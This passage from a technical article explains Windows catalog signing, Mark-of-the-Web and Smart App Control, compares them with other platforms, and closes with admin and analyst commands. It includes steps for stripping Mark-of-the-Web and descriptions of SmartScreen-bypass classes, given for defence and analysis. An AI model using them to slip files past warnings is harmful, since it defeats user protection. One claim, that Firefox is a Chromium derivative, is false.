&lt;p&gt;On disk, system catalogs live under &lt;code&gt;%SystemRoot%\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}&lt;/code&gt; and the working store &lt;code&gt;CatRoot2&lt;/code&gt;. Both directories are managed by the Cryptographic Services (&lt;code&gt;cryptsvc&lt;/code&gt;) Windows service. The WDK &lt;em&gt;Catalog files and digital signatures&lt;/em&gt; page [@learn-microsoft-com-catalog-files] records the install path: &lt;em&gt;&quot;The system installs the catalog file to the CatRoot directory under the system directory returned by GetSystemDirectory, for example, %SystemRoot%\System32\CatRoot.&quot;&lt;/em&gt;The &lt;code&gt;{F750E6C3-38EE-11D1-85E5-00C04FC295EE}&lt;/code&gt; GUID has been the canonical Windows system catalog directory identifier since Windows 2000. It is observable on any Windows install and appears in the &lt;code&gt;inf2cat&lt;/code&gt; test-signing documentation; the page that names it most explicitly has moved more than once over the years, but the GUID itself has not changed.&lt;/p&gt;
&lt;p&gt;When code-integrity calls &lt;code&gt;WinVerifyTrust&lt;/code&gt; [@learn-microsoft-com-wintrust-winverifytrust] on a file with no embedded Authenticode signature -- which is, for example, every in-box &lt;code&gt;cmd.exe&lt;/code&gt;, &lt;code&gt;notepad.exe&lt;/code&gt;, and most of &lt;code&gt;%SystemRoot%\System32&lt;/code&gt; -- the trust provider falls through to a catalog lookup. The fall-through is: hash the file with &lt;code&gt;CryptCATAdminCalcHashFromFileHandle&lt;/code&gt; [@learn-microsoft-com-mscat-cryptcatadmincalchashfromfilehandl], walk catalogs with &lt;code&gt;CryptCATAdminEnumCatalogFromHash&lt;/code&gt;, and if a match is found, re-verify the &lt;em&gt;catalog&apos;s&lt;/em&gt; signature against the same chain rules. The path is essentially:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;verify(file) :=
    if embedded_signature(file) is present:
        return WinVerifyTrust(file, WINTRUST_ACTION_GENERIC_VERIFY_V2)
    else:
        h := CryptCATAdminCalcHashFromFileHandle(file)
        cat := CryptCATAdminEnumCatalogFromHash(h)
        if cat == NULL: return TRUST_E_NOSIGNATURE
        return WinVerifyTrust(cat, WINTRUST_ACTION_GENERIC_VERIFY_V2)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;{`
// JavaScript pseudocode model of WinVerifyTrust&apos;s catalog fall-through.
// Demonstrates why cmd.exe, which has no embedded Authenticode signature,
// still verifies as Microsoft-signed in production.&lt;/p&gt;
&lt;p&gt;// 1. A simulated CatRoot2 index: catalog file -&amp;gt; { member-hash -&amp;gt; attrs }
const catRoot2 = {
  &apos;nt5.cat&apos;: {
    &apos;aa11bb22...cmd.exe.hash&apos;: {
      member: &apos;cmd.exe&apos;,
      osAttr: &apos;2:6.4,2:10.0&apos;, // Windows 8 and 10+
    },
    &apos;cc33dd44...notepad.exe.hash&apos;: {
      member: &apos;notepad.exe&apos;,
      osAttr: &apos;2:10.0&apos;,
    },
  },
  // ...thousands more in real CatRoot2
};
const catSigner = &apos;CN=Microsoft Windows, O=Microsoft Corporation&apos;;&lt;/p&gt;
&lt;p&gt;function calcHash(file) {
  // Real implementation: CryptCATAdminCalcHashFromFileHandle (SHA-256)
  return file + &apos;.hash&apos;;
}&lt;/p&gt;
&lt;p&gt;function enumCatalogFromHash(h) {
  for (const [catFile, members] of Object.entries(catRoot2)) {
    if (h in members) return { catFile, member: members[h] };
  }
  return null;
}&lt;/p&gt;
&lt;p&gt;function winVerifyTrust(target) {
  if (target.embeddedSignature) {
    return { ok: true, signer: target.embeddedSignature.signer };
  }
  const h = calcHash(target.name);
  const cat = enumCatalogFromHash(h);
  if (!cat) return { ok: false, status: &apos;TRUST_E_NOSIGNATURE&apos; };
  // The catalog&apos;s PKCS#7 signature has been pre-verified at this point
  return { ok: true, signer: catSigner, viaCatalog: cat.catFile };
}&lt;/p&gt;
&lt;p&gt;const cmdExe = { name: &apos;aa11bb22...cmd.exe&apos;, embeddedSignature: null };
const result = winVerifyTrust(cmdExe);
console.log(result);
// { ok: true, signer: &apos;... Microsoft Windows ...&apos;, viaCatalog: &apos;nt5.cat&apos; }
`}&lt;/p&gt;
&lt;p&gt;That fall-through is how unsigned in-box Windows binaries verify as Microsoft-trusted at load time. It is also how WHQL driver packages work, and it is the substrate the Trusted Root branch of Smart App Control relies on for the off-line case.&lt;/p&gt;

flowchart TD
    Start[&quot;WinVerifyTrust(file, -- WINTRUST_ACTION_GENERIC_VERIFY_V2)&quot;]
    Embed{&quot;File has -- embedded sig?&quot;}
    Hash[&quot;CryptCATAdminCalcHashFromFileHandle&quot;]
    Enum[&quot;CryptCATAdminEnumCatalogFromHash&quot;]
    Found{&quot;Catalog -- found?&quot;}
    VerifyEmb[&quot;Verify embedded PKCS#7&quot;]
    VerifyCat[&quot;Verify catalog PKCS#7&quot;]
    Ok[&quot;TRUST_OK&quot;]
    NoSig[&quot;TRUST_E_NOSIGNATURE&quot;]
    Start --&amp;gt; Embed
    Embed --&amp;gt;|&quot;yes&quot;| VerifyEmb
    VerifyEmb --&amp;gt; Ok
    Embed --&amp;gt;|&quot;no&quot;| Hash
    Hash --&amp;gt; Enum
    Enum --&amp;gt; Found
    Found --&amp;gt;|&quot;yes&quot;| VerifyCat
    VerifyCat --&amp;gt; Ok
    Found --&amp;gt;|&quot;no&quot;| NoSig
&lt;h3&gt;6.4 The relationship to WDAC and Smart App Control&lt;/h3&gt;
&lt;p&gt;Windows Defender Application Control (WDAC; renamed &quot;App Control for Business&quot; in 2023, though the WDAC label persists in policy XML and most documentation) is a kernel-mode code-integrity engine. It enforces an explicit policy of allowed publishers, file hashes, and paths. By itself, WDAC is the strict-allowlist counterpart to SmartScreen&apos;s reputation-based warning. With the &lt;code&gt;Enabled:Intelligent Security Graph Authorization&lt;/code&gt; rule -- &quot;policy rule option 14&quot; [@learn-microsoft-com-security-graph] -- WDAC also accepts ISG verdicts as authorisation for files the policy did not explicitly list.&lt;/p&gt;
&lt;p&gt;The Microsoft Learn ISG page is unambiguous about the mechanism: &lt;em&gt;&quot;The ISG isn&apos;t a &apos;list&apos; of apps. Rather, it uses the same vast security intelligence and machine learning analytics that power Microsoft Defender SmartScreen and Microsoft Defender Antivirus ... processed every 24 hours. As a result, the decision from the cloud can change ... Files authorized based on the installer&apos;s reputation will have the &lt;code&gt;$KERNEL.SMARTLOCKER.ORIGINCLAIM&lt;/code&gt; kernel Extended Attribute (EA) written to the file.&quot;&lt;/em&gt;The &lt;code&gt;$KERNEL.SMARTLOCKER.ORIGINCLAIM&lt;/code&gt; NTFS extended attribute is the on-disk cache of a positive ISG verdict. Subsequent boots can skip the cloud call by consulting the EA. The &lt;code&gt;Enabled:Invalidate EAs on Reboot&lt;/code&gt; policy rule is the explicit knob for forcing a re-evaluation on every boot, useful for high-assurance configurations where you do not want a stale verdict to survive a reboot.&lt;/p&gt;
&lt;p&gt;Smart App Control on consumer Windows 11 is, structurally, a WDAC &lt;code&gt;AllowAll&lt;/code&gt; policy minus an ISG-driven blocklist. The decision input is the same ISG backend that powers SmartScreen. The execution point is the same kernel-mode code-integrity engine that enforces enterprise WDAC. The Trusted Root signature branch is the catalog-of-trust off-line escape hatch. Here is how the three signals feed Smart App Control&apos;s gate:&lt;/p&gt;

flowchart TD
    Launch[&quot;ShellExecute on MOTW=3 file&quot;]
    Origin[&quot;Read Zone.Identifier ADS&quot;]
    Trigger{&quot;MOTW=3?&quot;}
    Reputation[&quot;ISG cloud lookup -- (hash + cert + URL)&quot;]
    KnownGood{&quot;ISG verdict = -- known_good?&quot;}
    Signature[&quot;WinVerifyTrust -- (catalog fall-through)&quot;]
    TrustedRoot{&quot;Signer in -- Trusted Root Program?&quot;}
    Allow[&quot;Allow (kernel-mode launch)&quot;]
    Block[&quot;Block (SAC modal, no override)&quot;]
    Launch --&amp;gt; Origin
    Origin --&amp;gt; Trigger
    Trigger --&amp;gt;|&quot;no&quot;| Allow
    Trigger --&amp;gt;|&quot;yes&quot;| Reputation
    Reputation --&amp;gt; KnownGood
    KnownGood --&amp;gt;|&quot;yes&quot;| Allow
    KnownGood --&amp;gt;|&quot;no / unknown&quot;| Signature
    Signature --&amp;gt; TrustedRoot
    TrustedRoot --&amp;gt;|&quot;yes&quot;| Allow
    TrustedRoot --&amp;gt;|&quot;no&quot;| Block
&lt;h3&gt;6.5 The legacy of &quot;Microsoft Defender SmartScreen extension&quot;&lt;/h3&gt;
&lt;p&gt;The phrase &quot;Microsoft Defender SmartScreen extension&quot; appears in third-party guides constantly. It is almost always wrong.&lt;/p&gt;

The only product Microsoft ever shipped as a *browser extension* implementing SmartScreen behaviour was the **Windows Defender Browser Protection** Chrome extension. It was a Microsoft-developed extension that brought SmartScreen URL reputation to Google Chrome on Windows and macOS. Microsoft retired the extension during 2022; users opening Chrome on November 29, 2022 saw a Microsoft-issued in-extension notice [@bleepingcomputer-com-being-retired] reading *&quot;Developer support for this extension is complete and will be expiring soon&quot;* and directing them to Microsoft Edge. The former Chrome Web Store listing [@chrome-google-com-browser-bkbeeeffjjeopflfhgeknacdieedcoblj] now returns no extension page, and the Microsoft Defender SmartScreen overview [@learn-microsoft-com-defender-smartscreen] makes no claim about an active replacement. Today SmartScreen is a built-in Edge component, an OS Settings page (*Reputation-based protection*), and the kernel-adjacent SAC engine. It is *not* a browser extension. The OS-level execution-control path -- `IAttachmentExecute` plus the Attachment Execution Service -- is reachable from the OS and from Edge; it cannot be reached from a Chrome or Firefox extension because the extension API surface does not expose it.
&lt;h3&gt;6.6 What&apos;s left of the security boundary&lt;/h3&gt;
&lt;p&gt;The three-layer architecture is not invulnerable. Three things it does not do, by construction:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;It does not stop a user who clicks &quot;More info -&amp;gt; Run anyway.&quot;&lt;/strong&gt; That branch is deliberate and we will return to why in Section 8.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;It does not protect against well-reputed-but-now-malicious software.&lt;/strong&gt; Elastic&apos;s writeup on Smart App Control names this &lt;em&gt;reputation hijacking&lt;/em&gt;: an attacker compromises or repurposes a binary that genuinely has positive reputation. SmartScreen says &quot;known good&quot; because the file really &lt;em&gt;was&lt;/em&gt; known good before its current use. The class is, in Elastic&apos;s framing, generic to all reputation-based protection systems.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;It depends on propagators.&lt;/strong&gt; Every &lt;code&gt;.lnk&lt;/code&gt;, &lt;code&gt;.url&lt;/code&gt;, &lt;code&gt;.iso&lt;/code&gt;, and archive extraction path is a potential carrier for the MOTW signal. When one of those paths drops MOTW, the entire catalog of trust silently disengages for that file. That is the whole substance of the 2022-2024 CVE arc, and it is not a closed problem.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The story so far is Windows-internal. Other operating systems have their own catalog-of-trust analogues. None of them have all three layers.&lt;/p&gt;
&lt;h2&gt;7. Beyond the Microsoft Stack: How macOS, Chromium, and Linux Compare&lt;/h2&gt;
&lt;p&gt;Every major desktop OS now has &lt;em&gt;something&lt;/em&gt; that looks like Microsoft&apos;s catalog of trust. None of them have all three layers, and each one optimises a different point in the fail-open vs. fail-closed spectrum.&lt;/p&gt;
&lt;h3&gt;macOS Gatekeeper + com.apple.quarantine + Notarization&lt;/h3&gt;
&lt;p&gt;The direct architectural analogue: macOS Gatekeeper. The Apple Platform Security guide [@support-apple-com-sec5599b66df-web] describes Gatekeeper as a check that &lt;em&gt;&quot;verifies that the software is from an identified developer, is notarized by Apple to be free of known malicious content, and hasn&apos;t been altered.&quot;&lt;/em&gt;&lt;/p&gt;

Apple&apos;s server-side malware scan, mandatory for non-App-Store distribution on macOS Catalina (2019) and later. The developer submits each binary to Apple; Apple&apos;s automated scan produces a *ticket* the developer staples to the application bundle (or that Gatekeeper fetches online at first launch). Without a notarization ticket, the default Gatekeeper policy refuses to run the binary, with no in-product override short of right-clicking and choosing Open.
&lt;p&gt;Three pieces compose: &lt;code&gt;com.apple.quarantine&lt;/code&gt; is the extended attribute that quarantine-aware downloaders (Safari, Chrome, Mail, AirDrop) write -- structurally the peer of &lt;code&gt;Zone.Identifier&lt;/code&gt;. Gatekeeper is the launch-time consumer -- structurally the peer of the Attachment Execution Service plus SmartScreen. Notarization is the cloud-side scan -- structurally the peer of SmartScreen reputation, with one important difference: it is &lt;em&gt;mandatory&lt;/em&gt;, not optional, and it produces a stapleable ticket that lets Gatekeeper run &lt;em&gt;fail-closed by default&lt;/em&gt;. Microsoft has no equivalent notarization requirement on Windows; the only Windows mechanism that comes close is Smart App Control Enforcement, and it is opt-in by clean install rather than universal.&lt;/p&gt;
&lt;h3&gt;Chromium Safe Browsing v5&lt;/h3&gt;
&lt;p&gt;Google&apos;s Safe Browsing v5 hashList API [@developers-google-com-v5-hashlist] is the cross-platform URL/file reputation service every Chromium derivative uses (Chrome, Edge, Brave, Opera, and Firefox). The current protocol uses rice-delta-encoded SHA-256 prefix lists; the browser fetches a local list of variable-length hash &lt;em&gt;prefixes&lt;/em&gt;, checks navigated URLs against the prefix list, and only consults the server when there is a prefix match -- a privacy-preserving design that lets the server learn only that some client queried &lt;em&gt;something matching this prefix&lt;/em&gt;, not the actual URL. The v4 documentation [@developers-google-com-browsing-v4] makes the privacy posture explicit: &lt;em&gt;&quot;You exchange data with the server infrequently (only after a local hash prefix match) and using hashed URLs, so the server never knows the actual URLs queried by the clients.&quot;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;What Safe Browsing does not do is integrate with OS-level execution control. There is no equivalent of MOTW. Once a file is on disk, the OS has no Safe-Browsing-supplied origin tag to consume. Safe Browsing is a different point on the latency / privacy / coverage triangle: better privacy, narrower scope, no execution-time enforcement.&lt;/p&gt;
&lt;h3&gt;Linux distribution package signing&lt;/h3&gt;
&lt;p&gt;RPM (1995) [@rpm-org-abouthtml] and dpkg [@en-wikipedia-org-wiki-dpkg] / APT (1994-1998) [@en-wikipedia-org-wiki-aptsoftware]) shipped signed package repositories before Windows had Authenticode. The signing primitive is OpenPGP detached signatures on per-repository manifests, with per-package SHA-256 hashes in the manifest and out-of-band distribution of the repository public keys. Reproducible builds [@reproducible-builds-org-who-projects] (Debian, NixOS, Tor Browser, and other participating distributions) extend the trust property: a third party can rebuild and verify that the published binary matches the source.&lt;/p&gt;
&lt;p&gt;Linux gives you strong publisher attestation for &lt;em&gt;packaged&lt;/em&gt; software. It gives you nothing for files fetched with &lt;code&gt;curl&lt;/code&gt;, downloaded from a website, or sideloaded via AppImage / Flatpak / Snap. There is no per-file origin tag. There is no graduated reputation. There is no execution-time check. Linux collapses the three-signal model to one signal (publisher attestation for packaged software) and accepts the corresponding gap.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Property&lt;/th&gt;
&lt;th&gt;Windows (SAC)&lt;/th&gt;
&lt;th&gt;macOS (Gatekeeper + Notarization)&lt;/th&gt;
&lt;th&gt;Chromium (Safe Browsing v5)&lt;/th&gt;
&lt;th&gt;Linux (package signing)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Origin tag&lt;/td&gt;
&lt;td&gt;MOTW (&lt;code&gt;Zone.Identifier&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;com.apple.quarantine&lt;/code&gt; xattr&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reputation&lt;/td&gt;
&lt;td&gt;SmartScreen / ISG cloud&lt;/td&gt;
&lt;td&gt;Notarization ticket (binary present / absent)&lt;/td&gt;
&lt;td&gt;Safe Browsing hash prefix lookup&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Publisher attestation&lt;/td&gt;
&lt;td&gt;Authenticode + catalogs&lt;/td&gt;
&lt;td&gt;Developer ID code signature&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;OpenPGP per-repo signature&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Default policy&lt;/td&gt;
&lt;td&gt;Warn (override allowed); Block (SAC Enforcement)&lt;/td&gt;
&lt;td&gt;Block (right-click override)&lt;/td&gt;
&lt;td&gt;Warn&lt;/td&gt;
&lt;td&gt;Block packaged / allow ad-hoc&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cloud dependency&lt;/td&gt;
&lt;td&gt;Required for unknown files&lt;/td&gt;
&lt;td&gt;Required at first launch (ticket then cached)&lt;/td&gt;
&lt;td&gt;Required only on prefix match&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Scope&lt;/td&gt;
&lt;td&gt;OS-wide (every launch)&lt;/td&gt;
&lt;td&gt;OS-wide (every first launch)&lt;/td&gt;
&lt;td&gt;Browser-only&lt;/td&gt;
&lt;td&gt;Package manager only&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Microsoft&apos;s stack is uniquely &lt;em&gt;layered&lt;/em&gt;; each peer architecture collapses to one or two of the three signals. Each makes a different trade-off between coverage and friction. None of them removes the limit at the other end of the spectrum: the user.&lt;/p&gt;
&lt;h2&gt;8. Theoretical Limits: What Reputation Cannot Decide&lt;/h2&gt;
&lt;p&gt;Three things no file-trust system can do by construction. These are not bugs. They are upper bounds.&lt;/p&gt;
&lt;h3&gt;Provenance erasure is unavoidable&lt;/h3&gt;
&lt;p&gt;A user who right-clicks and creates a new text document writes a file with no MOTW by definition. A process that writes to NTFS without going through the Attachment Execution Service writes a file with no MOTW. A copy onto FAT or exFAT and back strips the ADS. The catalog of trust is &lt;em&gt;not&lt;/em&gt; a cryptographic origin proof; it is a hint that survives common-but-not-all copy paths. Closing this bound requires either tagging every file write at the file-system layer (breaking the UNIX-style scripting model and approximating what macOS notarization-required-for-launch does at a higher layer) or refusing to launch any file without a tag, which is exactly what Smart App Control&apos;s Enforcement mode does at the cost of breaking unsigned legitimate software.&lt;/p&gt;
&lt;h3&gt;Reputation is an inductive signal&lt;/h3&gt;
&lt;p&gt;A brand-new file or certificate cannot have reputation by definition. Reputation accumulates from telemetry, and any reputation system must either fail-open on unknowns (Windows: warn but allow override) or fail-closed (macOS Gatekeeper with the default policy, SAC Enforcement: refuse). There is no third option. Microsoft chose fail-open with friction, and that choice creates a permanent class of &quot;valid certificate, low reputation&quot; social-engineering bypasses. Apple chose fail-closed with notarization as the explicit unknown-to-known transition path. Both choices are defensible. Neither is wrong.&lt;/p&gt;
&lt;h3&gt;The user is the last gate&lt;/h3&gt;
&lt;p&gt;&quot;More info -&amp;gt; Run anyway&quot; is not a bug. It is a deliberate concession to usability and to the unsigned-software long tail that Windows has historically supported. Any system the user can override is upper-bounded in security by the user&apos;s willingness to override. The only way to remove the bound is to remove the override, which is exactly the iOS sealed-application model -- and what Smart App Control Enforcement approaches on consumer Windows.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Reputation is an inductive signal; the catalog of trust is a hint that survives common copy paths; and the user is the last gate. None of these are bugs. They are upper bounds. The system can only close the gap between them by removing user override, which is exactly what Smart App Control Enforcement does.&lt;/p&gt;
&lt;/blockquote&gt;

The temptation, looking at the 2022-2024 CVE arc, is to say macOS&apos;s mandatory-notarisation fail-closed model is &quot;more secure&quot; and Windows should adopt it. The argument is weaker than it looks. Fail-closed breaks first-day legitimate software, which on macOS is acceptable because the Mac platform has, throughout its modern history, treated software as something that flows through the Mac App Store or through identified developers willing to participate in notarization. Windows has, throughout *its* modern history, treated software as something that flows in arbitrary forms from arbitrary publishers: enterprise line-of-business apps from a vendor whose name is unfamiliar; one-off utilities from a developer&apos;s personal site; CI/CD builds of in-house tooling. Refusing to launch any of those by default breaks the platform&apos;s core compatibility promise. The Windows trade-off is friction over coverage; the macOS trade-off is coverage over friction. Neither is strictly better, and the right answer depends on whose long tail you are protecting.
&lt;p&gt;If those are the upper bounds, what active problems are researchers and Microsoft engineers still working to close?&lt;/p&gt;
&lt;h2&gt;9. Open Problems in 2025&lt;/h2&gt;
&lt;p&gt;Five places where the security model is still moving.&lt;/p&gt;
&lt;h3&gt;MOTW on non-NTFS file systems&lt;/h3&gt;
&lt;p&gt;ReFS, FAT, exFAT, and most network file systems either do not implement NTFS alternate data streams or implement them inconsistently. There is no documented Microsoft transport for &quot;Zone.Identifier on non-NTFS.&quot; The community-maintained archiver matrix [@github-com-support-comparison] documents the problem from the archiver side. USB sticks and SD cards (FAT32 / exFAT by default) are the dominant copy paths in real malware delivery, and they are exactly the file systems that drop MOTW silently. Workarounds in the wild include zipping marked files inside a container that itself has MOTW, but propagation across the extraction step is exactly the class CVE-2022-41049 (the ZIP sibling of CVE-2022-41091, documented in 0patch&apos;s ZIP write-up [@blog-0patch-com-mark-ofhtml]) addressed -- and is therefore exactly where the next propagator bug will live.&lt;/p&gt;
&lt;h3&gt;Smart App Control silently disabling itself&lt;/h3&gt;
&lt;p&gt;Microsoft Learn&apos;s SAC overview [@learn-microsoft-com-control-overview] records the behaviour bluntly: &lt;em&gt;&quot;If we detect that you&apos;re one of those users, we automatically turn Smart App Control off so you can work with fewer interruptions.&quot;&lt;/em&gt; SAC ships in Evaluation mode by default on supported clean installs and may auto-disable rather than auto-promoting to Enforcement based on telemetry. Microsoft documents the existence of the threshold but not the threshold itself. The de-facto enforced base is unknown; Elastic&apos;s &lt;em&gt;Dismantling Smart App Control&lt;/em&gt; [@elastic-co-app-control] flagged the consequence: claims about SAC effectiveness in production are hard to evaluate absolutely.&lt;/p&gt;
&lt;h3&gt;The shortcut surface remains a moving target&lt;/h3&gt;
&lt;p&gt;Three of the last four years of SmartScreen-class CVEs (CVE-2023-36025, CVE-2024-21412, CVE-2024-38217) pivoted through shortcut canonicalisation or chained-shortcut MOTW propagation. Microsoft patches each variant individually rather than enforcing a clean rule like &quot;any shortcut whose target is not on the same volume must propagate MOTW from the shortcut to the resolved target.&quot; The shortcut surface is decidable (you could write the propagation rule above) but it is not minimal: Microsoft has chosen, so far, to patch the surface bug-by-bug rather than to deploy the rule.&lt;/p&gt;
&lt;h3&gt;SmartScreen on non-Edge browsers&lt;/h3&gt;
&lt;p&gt;The retirement of the Windows Defender Browser Protection Chrome extension during 2022 left a coverage gap that no shipping Microsoft product fills. Smart App Control plus the OS-level Attachment Execution Service can partially compensate -- a file downloaded by Chrome that ends up in Internet Zone gets the OS-level launch check -- but the URL-time warning, the kind that catches the user before the file is on disk, is not available on non-Edge browsers in 2025.&lt;/p&gt;
&lt;h3&gt;ML-augmented reputation failure modes&lt;/h3&gt;
&lt;p&gt;Microsoft has stated that SmartScreen and ISG use machine-learning analytics in addition to telemetry. The standard ML-system failure modes -- adversarial examples, classifier drift, training-data poisoning -- have not been studied openly for SmartScreen on a common corpus. Drift is bounded by the documented 24-hour cloud refresh cadence in the ISG documentation [@learn-microsoft-com-security-graph], but the worst-case dependence on the ML decision function is opaque.&lt;/p&gt;
&lt;p&gt;There is also the &lt;strong&gt;cross-platform benchmark gap&lt;/strong&gt;: no public, peer-reviewed empirical comparison of SmartScreen, Gatekeeper-with-Notarization, and Safe Browsing detection on a common malware corpus exists. AV-Test and AV-Comparatives publish anti-malware engine benchmarks but explicitly exclude reputation-only systems. Elastic&apos;s writeup addresses Windows internally but not cross-platform. Practitioners choosing an OS or browser security architecture have no apples-to-apples data.&lt;/p&gt;
&lt;p&gt;Those are the open problems. The closed problem -- how to use the catalog of trust correctly today -- has a fairly small set of recipes for each audience.&lt;/p&gt;
&lt;h2&gt;10. Practical Guide&lt;/h2&gt;
&lt;p&gt;Four audiences, one short subsection each. Concrete commands, supported APIs, and the things newcomers always get wrong.&lt;/p&gt;
&lt;h3&gt;For an admin or IT pro&lt;/h3&gt;
&lt;p&gt;Read MOTW on a file:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Returns the [ZoneTransfer] INI block if the ADS exists; otherwise errors
Get-Content -Path &apos;C:\Users\u\Downloads\payload.exe&apos; -Stream Zone.Identifier
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Write it (rare, but useful for testing):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;$content = @&quot;
[ZoneTransfer]
ZoneId=3
HostUrl=&amp;lt;source URL&amp;gt;
&quot;@
Add-Content -Path &apos;.\test.exe&apos; -Stream Zone.Identifier -Value $content
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Strip it (convenience, not a security boundary -- see Section 11):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Either of these works:
Unblock-File -Path &apos;.\test.exe&apos;
Remove-Item -Path &apos;.\test.exe&apos; -Stream Zone.Identifier
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Enumerate the system catalog directories under &lt;code&gt;%SystemRoot%\System32\CatRoot&lt;/code&gt; and verify a binary against them with &lt;code&gt;signtool&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cmd&quot;&gt;signtool verify /a /v /pa /kp cmd.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;signtool verify /a&lt;/code&gt; walks the system catalog roots when the file has no embedded signature; &lt;code&gt;/pa&lt;/code&gt; selects the &lt;em&gt;default authentication verification policy&lt;/em&gt; (the same policy &lt;code&gt;WinVerifyTrust&lt;/code&gt; uses), and &lt;code&gt;/kp&lt;/code&gt; enables kernel-mode driver-policy verification, which is what tells you whether the catalog covers the file under WHQL-style rules.&lt;/p&gt;
&lt;p&gt;Enabling Smart App Control on consumer Windows 11 is a &lt;em&gt;clean install&lt;/em&gt; operation -- the Microsoft Learn overview is explicit that SAC cannot be enabled on a system that has already been used. Deploying WDAC + ISG in an enterprise is documented at the Microsoft Learn ISG WDAC page [@learn-microsoft-com-security-graph] and is the practical enterprise SOTA on devices SAC cannot reach.&lt;/p&gt;
&lt;h3&gt;For a malware analyst or incident responder&lt;/h3&gt;
&lt;p&gt;What to look for in &lt;code&gt;Zone.Identifier&lt;/code&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;HostUrl&lt;/code&gt; field is a frequent pivot to the attacker&apos;s delivery infrastructure. A &lt;code&gt;HostUrl&lt;/code&gt; pointing at a known phishing kit&apos;s domain is a hard tell.&lt;/li&gt;
&lt;li&gt;Mismatched &lt;code&gt;ZoneId&lt;/code&gt; and &lt;code&gt;LastWriterPackageFamilyName&lt;/code&gt; (for example, &lt;code&gt;ZoneId=0&lt;/code&gt; with &lt;code&gt;LastWriterPackageFamilyName=Microsoft.MicrosoftEdge&lt;/code&gt;) is suspicious; legitimate writers do not produce that combination.&lt;/li&gt;
&lt;li&gt;An absent &lt;code&gt;Zone.Identifier&lt;/code&gt; on a file demonstrably delivered through a browser, mail client, or archive is the signature of a propagator gap or a deliberate strip.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;How to spot a known SmartScreen-bypass attempt:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Malformed Authenticode signatures in JS or MSI payloads (the CVE-2022-44698 / CVE-2023-24880 class). Tools like &lt;code&gt;signtool verify /v&lt;/code&gt; will report the parse failure.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.url&lt;/code&gt; files with &lt;code&gt;URL=&lt;/code&gt; pointing at a remote &lt;code&gt;.cpl&lt;/code&gt;, &lt;code&gt;.bat&lt;/code&gt;, or other launch-capable target (the CVE-2023-36025 class).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.lnk&lt;/code&gt; files whose &lt;code&gt;LinkTarget&lt;/code&gt; has an unusual extended-path encoding -- trailing dots or spaces, whole-path-in-a-single-segment, or relative-only forms (the CVE-2024-38217 class). AhnLab&apos;s writeup [@asec-ahnlab-com-en-90299] gives concrete byte-level examples.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;For a developer shipping a signed app&lt;/h3&gt;
&lt;p&gt;Your installer will trigger &quot;Unknown publisher&quot; on day one even with a valid Authenticode signature, because reputation has to accumulate from real-world telemetry and -- since approximately 2020 -- EV certificates no longer fast-path that accumulation. The Microsoft Learn reputation page [@learn-microsoft-com-smartscreen-reputation] is the canonical reference for the developer-side reputation model. Microsoft Artifact Signing (formerly Trusted Signing, formerly Azure Code Signing, currently around $10/month with no hardware token and CI/CD integration) is the cheapest documented modern path to a publishable Authenticode signature.Microsoft Artifact Signing (formerly Trusted Signing, formerly Azure Code Signing) at roughly $10/month is the cheapest documented path to a publishable Authenticode signature with no hardware token requirement. For small publishers, it is the modern alternative to a self-hosted HSM workflow. The corresponding SmartScreen reputation still has to accumulate from telemetry, however -- buying a signing service does not buy reputation.&lt;/p&gt;
&lt;p&gt;If you ship your own downloader (rare, but consumer apps sometimes do), call &lt;code&gt;IAttachmentExecute::Save&lt;/code&gt; [@learn-microsoft-com-shobjidlcore-iattachmentexecute] for the file you just downloaded. That triggers the registered AV scanner and AMSI hooks. Writing the &lt;code&gt;Zone.Identifier&lt;/code&gt; ADS directly via &lt;code&gt;WriteFile&lt;/code&gt; skips them.&lt;/p&gt;
&lt;blockquote&gt;
